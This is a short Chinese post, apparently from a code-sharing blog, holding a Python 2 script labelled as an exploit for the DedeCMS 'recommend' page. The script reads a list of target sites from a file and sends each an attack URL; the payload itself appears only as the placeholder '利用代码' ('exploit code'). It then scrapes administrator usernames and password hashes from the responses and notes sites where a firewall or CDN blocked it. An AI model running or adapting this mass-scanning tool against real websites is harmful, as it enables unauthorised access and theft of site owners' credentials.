读取本地文件进行扫描

#!/usr/bin/python
#coding:utf-8
#------------------------
#time:2014-3-3
#write:Jack
#info: dede recommend exp
#------------------------

import re, urllib, urllib2


enter = r'\w.{1,30}'
dog = r'safedog.cn'

file = open('url.txt','r')
dbline =  file.readlines()

def exp(url):
    expolit = "利用代码"
    ackurl = str(url+expolit)
    try:
        openurl = urllib2.urlopen(ackurl)
        dbtext = openurl.read()
        try:
            textres = r'\|\w{1,20}\|\w{20}'
            namepasswd = re.findall(textres,dbtext)
            if len(namepasswd)<1:pass
            matter = str(namepasswd[0]).split('|')
            print url +' name:'+ matter[1]+'  '+'passwd:'+matter[2][3:19]
        except:
            print url+':没有数据'
    except:
        #print dbtext
        #errortext = re.findall(dog,dbtext)
        errorurl = url
        #if errortext == True:print '有DOG'

        print '打开url错误,有DOG或者CDN加速拦截,存储后继续攻击测试!'+errorurl
        #global dberror
        #dberror= []
        #dberror.append(errorurl)




for i in range(len(dbline)):
    dbon = str((re.findall(enter,str(dbline[i])))[0])
    exp(dbon)
    #if dberror == True:exp(dberror)


你可能感兴趣的:(读取本地文件进行扫描)